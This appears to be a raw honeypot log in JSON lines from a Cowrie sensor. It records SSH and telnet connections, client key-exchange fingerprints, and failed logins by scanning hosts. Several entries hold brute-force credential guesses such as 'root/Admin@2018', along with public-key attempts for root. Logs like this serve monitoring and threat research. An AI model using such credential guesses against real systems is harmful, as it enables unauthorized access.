{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:22.256734Z","src_ip":"194.59.206.2","session":"34e2be5b60dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:22.351344Z","src_ip":"194.59.206.2","session":"34e2be5b60dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:22.828549Z","src_ip":"130.12.181.85","session":"1346b34aaa42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":57160,"dst_ip":"10.17.0.5","dst_port":22,"session":"f709dd831bac","protocol":"ssh","message":"New connection: 165.154.205.128:57160 (10.17.0.5:22) [session: f709dd831bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:38.828206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:38.832686Z","src_ip":"165.154.205.128","session":"f709dd831bac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:39.061939Z","src_ip":"165.154.205.128","session":"f709dd831bac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"A123456","message":"login attempt [bitrix/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:40.014653Z","src_ip":"165.154.205.128","session":"f709dd831bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:41.247894Z","src_ip":"165.154.205.128","session":"f709dd831bac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":56738,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3bcd9db839b","protocol":"telnet","message":"New connection: 89.41.38.54:56738 (10.17.0.5:23) [session: f3bcd9db839b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:13:55.379273Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":58876,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f8b839c3b8d","protocol":"telnet","message":"New connection: 89.41.38.54:58876 (10.17.0.5:23) [session: 0f8b839c3b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:00.441709Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":34644,"dst_ip":"10.17.0.5","dst_port":23,"session":"081e829e1ede","protocol":"telnet","message":"New connection: 89.41.38.54:34644 (10.17.0.5:23) [session: 081e829e1ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:17.888565Z"}
{"eventid":"cowrie.session.closed","duration":31.91927218437195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:27.298446Z","src_ip":"89.41.38.54","session":"f3bcd9db839b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61539888381958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:32.056940Z","src_ip":"89.41.38.54","session":"0f8b839c3b8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":38886,"dst_ip":"10.17.0.5","dst_port":23,"session":"85085a939fde","protocol":"telnet","message":"New connection: 89.41.38.54:38886 (10.17.0.5:23) [session: 85085a939fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:33.945933Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.165.250","src_port":27782,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac645d0193b1","protocol":"ssh","message":"New connection: 129.232.165.250:27782 (10.17.0.5:22) [session: ac645d0193b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:34.952066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:34.957070Z","src_ip":"129.232.165.250","session":"ac645d0193b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:35.205504Z","src_ip":"129.232.165.250","session":"ac645d0193b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:83:07:81:41:ed:a2:df:9e:dc:58:99:5a:8b:c8:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzDKyG/RNCDWvIijHgL6izY6Op2LH5zbdVKPiqTXrACf+sb/NECReHSyBEHLnbWr1+H7Z3wczLSA3q41uRHbsAFug5rGkpV5euI5iD0L0dYQ/0haESgavKB/91WVoPj24zlAFJgQNLnJMfQZLM1g9vVcjCUHyC3IwxBj63CX7vMjh2UPNHorahn9Q4g5yzUHogQDoIk3sENXWImwoo2UEt/ZANYUiHp0NyHXYR9VhgxCZ/ko8s9Dczp1GDD2fdEbAvKiKSprsnh8mrsdY6TWsaDuLTQEkVFER4I+/MaDWn477+7WeETmwvhPr4KHdQJrWqbgBUj1Rb3eeCAJVm74JQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:83:07:81:41:ed:a2:df:9e:dc:58:99:5a:8b:c8:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:36.415463Z","src_ip":"129.232.165.250","session":"ac645d0193b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:83:07:81:41:ed:a2:df:9e:dc:58:99:5a:8b:c8:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzDKyG/RNCDWvIijHgL6izY6Op2LH5zbdVKPiqTXrACf+sb/NECReHSyBEHLnbWr1+H7Z3wczLSA3q41uRHbsAFug5rGkpV5euI5iD0L0dYQ/0haESgavKB/91WVoPj24zlAFJgQNLnJMfQZLM1g9vVcjCUHyC3IwxBj63CX7vMjh2UPNHorahn9Q4g5yzUHogQDoIk3sENXWImwoo2UEt/ZANYUiHp0NyHXYR9VhgxCZ/ko8s9Dczp1GDD2fdEbAvKiKSprsnh8mrsdY6TWsaDuLTQEkVFER4I+/MaDWn477+7WeETmwvhPr4KHdQJrWqbgBUj1Rb3eeCAJVm74JQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:36.422719Z","src_ip":"129.232.165.250","session":"ac645d0193b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:e7:e9:d4:67:53:1d:42:df:a9:e0:97:eb:55:93:44","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALTrgRc2fraBuuGEqmNOdvY1oW+wSdgXgn+FJ4PZyJO+OkMwhNBbMASEcbTKaujWM98k15DzbiVNJDcOS4uLHVQLZ4Y663vDP0j6mg2vLGyPZUUYDxQs6l4AsQe/yXppvyGfj28dfP3Dg8IirlnV/Rj//P8HGSCVf2r9ImdFTn5vAAAAFQC5SXeztpBsIPWE0EA5E/37RjUJpQAAAIBWQiHNcF7cdq2O1p0d+EFL7weRmpGoovvv7BkJUcAT1Iy+IXrM4tl6+0a4VAvUfi0jelpTYPfjbpJnNGPdRaRbNZeUgnJqRAsexsXEWr3DLGDhz2jl72/IrEpDtSjGHbSyi/J2vcYWB4su4JfchFM2oohI+PC51EI0QE0uq7FqdgAAAIAvSLb5jTIzAuGcGNV+Z6boFHezmC6BCX7nNyRGPxjsT8OfHohqfrNBfWLMx94vVqCzh5Ei/h8srCLTyhVt7AaLg+5s2aUziduAsgdOwbGH3ntfMXlEHE5N9rIFMeGKicuaTUJzHY1hK0Y/xnSgBRUVoCgYxayv8nKkG50zKb/q3w==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 1f:e7:e9:d4:67:53:1d:42:df:a9:e0:97:eb:55:93:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:36.669700Z","src_ip":"129.232.165.250","session":"ac645d0193b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:e7:e9:d4:67:53:1d:42:df:a9:e0:97:eb:55:93:44","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALTrgRc2fraBuuGEqmNOdvY1oW+wSdgXgn+FJ4PZyJO+OkMwhNBbMASEcbTKaujWM98k15DzbiVNJDcOS4uLHVQLZ4Y663vDP0j6mg2vLGyPZUUYDxQs6l4AsQe/yXppvyGfj28dfP3Dg8IirlnV/Rj//P8HGSCVf2r9ImdFTn5vAAAAFQC5SXeztpBsIPWE0EA5E/37RjUJpQAAAIBWQiHNcF7cdq2O1p0d+EFL7weRmpGoovvv7BkJUcAT1Iy+IXrM4tl6+0a4VAvUfi0jelpTYPfjbpJnNGPdRaRbNZeUgnJqRAsexsXEWr3DLGDhz2jl72/IrEpDtSjGHbSyi/J2vcYWB4su4JfchFM2oohI+PC51EI0QE0uq7FqdgAAAIAvSLb5jTIzAuGcGNV+Z6boFHezmC6BCX7nNyRGPxjsT8OfHohqfrNBfWLMx94vVqCzh5Ei/h8srCLTyhVt7AaLg+5s2aUziduAsgdOwbGH3ntfMXlEHE5N9rIFMeGKicuaTUJzHY1hK0Y/xnSgBRUVoCgYxayv8nKkG50zKb/q3w==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:36.674104Z","src_ip":"129.232.165.250","session":"ac645d0193b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:f2:71:47:80:54:13:d3:18:a4:75:e5:8b:32:46:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq+zgqNWfJ0/ZkE70cQ3xDccXAXXAFC96dWJZ9QY/QYkI+KoU5N/EKqx4+PmFOibZsCYS/B0615nRuaqAOoRmOqI+2TgfRK+vracPx8InVvlbG8Q5zHsM82Wy2AwhHWa3NKQsUe3cj6Pze4mxKGLv6FfVZBatms0ZyAqBj6KJOI9nPCl8Bepj5+e3GCn86H31KOQ1SNpQqrOjppNuCo7ZiWwnxYidhmhIHaPQXKcIvzp0WbA+NZBGayX5dL9h/QEMaAPrV5qja5CLvwTHmzEY+q3ZIx67xWaKnC+lXBg8c8LdaMS6/oKx3El2n6ll3YEsqL64CnNrlfdPTnWY18QRyQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:f2:71:47:80:54:13:d3:18:a4:75:e5:8b:32:46:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:36.920628Z","src_ip":"129.232.165.250","session":"ac645d0193b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:f2:71:47:80:54:13:d3:18:a4:75:e5:8b:32:46:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq+zgqNWfJ0/ZkE70cQ3xDccXAXXAFC96dWJZ9QY/QYkI+KoU5N/EKqx4+PmFOibZsCYS/B0615nRuaqAOoRmOqI+2TgfRK+vracPx8InVvlbG8Q5zHsM82Wy2AwhHWa3NKQsUe3cj6Pze4mxKGLv6FfVZBatms0ZyAqBj6KJOI9nPCl8Bepj5+e3GCn86H31KOQ1SNpQqrOjppNuCo7ZiWwnxYidhmhIHaPQXKcIvzp0WbA+NZBGayX5dL9h/QEMaAPrV5qja5CLvwTHmzEY+q3ZIx67xWaKnC+lXBg8c8LdaMS6/oKx3El2n6ll3YEsqL64CnNrlfdPTnWY18QRyQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:36.924213Z","src_ip":"129.232.165.250","session":"ac645d0193b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:18:59:5a:82:96:10:43:55:4b:8f:ca:be:5d:1d:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChTL+HDZi2KF5lUNYtI+98Mst20Deil6s1GS80v5tYzobgP1uKmAbntD9BC+q8HaaA26GLCakez/rruMeudDi6Ow6EDbe92J2eRPOxQLr8JoZQ8718S+6jHImDyp+n2FpIZlp8Cc9QH1cR+Xa2bO0xb7XqIz738wiaQHOdsjHjIc7S1hoeDlbr1ddsbx0SnOY5n4GnGz/oI2gpJmgmQ+DGteSMqHCpOMJBvKeupFaE3VKkmkcNU51LmNKA9uD9epWBPG+Cl9DAcbJLVxMxown5FovncLqZQeGTOmD+vBvRYqExnX0q3maSaiW06yCBmm/cO7ZPZ9h1p900+7dTtkSZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:18:59:5a:82:96:10:43:55:4b:8f:ca:be:5d:1d:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:37.171808Z","src_ip":"129.232.165.250","session":"ac645d0193b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:18:59:5a:82:96:10:43:55:4b:8f:ca:be:5d:1d:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChTL+HDZi2KF5lUNYtI+98Mst20Deil6s1GS80v5tYzobgP1uKmAbntD9BC+q8HaaA26GLCakez/rruMeudDi6Ow6EDbe92J2eRPOxQLr8JoZQ8718S+6jHImDyp+n2FpIZlp8Cc9QH1cR+Xa2bO0xb7XqIz738wiaQHOdsjHjIc7S1hoeDlbr1ddsbx0SnOY5n4GnGz/oI2gpJmgmQ+DGteSMqHCpOMJBvKeupFaE3VKkmkcNU51LmNKA9uD9epWBPG+Cl9DAcbJLVxMxown5FovncLqZQeGTOmD+vBvRYqExnX0q3maSaiW06yCBmm/cO7ZPZ9h1p900+7dTtkSZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:37.175281Z","src_ip":"129.232.165.250","session":"ac645d0193b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:7f:ad:87:25:c6:4d:6c:0c:0e:d6:87:ef:e4:55:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYQV4n46cqVPqrPoRctWgxhQd5jynuVV3lRFPomJqCmslAaKAGISy7M44fsc6iQf1hStbpBONQ5065oA3wZKlYaE0Bm/K0TbRV7yYNAGItMsnfCnxtkvHwFom8hDOmgkGhaS/V0xJUsxGy/J8UPAeTcMOf/XR4ZES6Pb4IroMWT0m8R9NOABZA15uzlz1rTM/rwkxdMEvNHjQoiG7sxQhCyhruQ3MUXLuJdwjlClQ862blrbipNsrmzzwB2qvXcVi/cl3YFxcytgCUMfVE7Y5Upqtk+M+0ZnB686Yw+6Fsb6Kzu4yLxUhiVa1LmO9zO0L6HFB1q2DsBxNH67NQISUL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:7f:ad:87:25:c6:4d:6c:0c:0e:d6:87:ef:e4:55:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:37.421968Z","src_ip":"129.232.165.250","session":"ac645d0193b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:7f:ad:87:25:c6:4d:6c:0c:0e:d6:87:ef:e4:55:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYQV4n46cqVPqrPoRctWgxhQd5jynuVV3lRFPomJqCmslAaKAGISy7M44fsc6iQf1hStbpBONQ5065oA3wZKlYaE0Bm/K0TbRV7yYNAGItMsnfCnxtkvHwFom8hDOmgkGhaS/V0xJUsxGy/J8UPAeTcMOf/XR4ZES6Pb4IroMWT0m8R9NOABZA15uzlz1rTM/rwkxdMEvNHjQoiG7sxQhCyhruQ3MUXLuJdwjlClQ862blrbipNsrmzzwB2qvXcVi/cl3YFxcytgCUMfVE7Y5Upqtk+M+0ZnB686Yw+6Fsb6Kzu4yLxUhiVa1LmO9zO0L6HFB1q2DsBxNH67NQISUL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:37.425231Z","src_ip":"129.232.165.250","session":"ac645d0193b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:37.673845Z","src_ip":"129.232.165.250","session":"ac645d0193b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":57314,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ea2bda0f32e","protocol":"ssh","message":"New connection: 165.154.205.128:57314 (10.17.0.5:22) [session: 9ea2bda0f32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:38.688662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:38.693301Z","src_ip":"165.154.205.128","session":"9ea2bda0f32e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:38.919317Z","src_ip":"165.154.205.128","session":"9ea2bda0f32e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@2018","message":"login attempt [root/Admin@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:39.853122Z","src_ip":"165.154.205.128","session":"9ea2bda0f32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:41.081647Z","src_ip":"165.154.205.128","session":"9ea2bda0f32e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":42348,"dst_ip":"10.17.0.5","dst_port":23,"session":"dddd891bbf8d","protocol":"telnet","message":"New connection: 89.41.38.54:42348 (10.17.0.5:23) [session: dddd891bbf8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:48.908988Z"}
{"eventid":"cowrie.session.closed","duration":31.244906425476074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:14:49.133362Z","src_ip":"89.41.38.54","session":"081e829e1ede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.247127056121826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:05.192967Z","src_ip":"89.41.38.54","session":"85085a939fde","protocol":"telnet"}
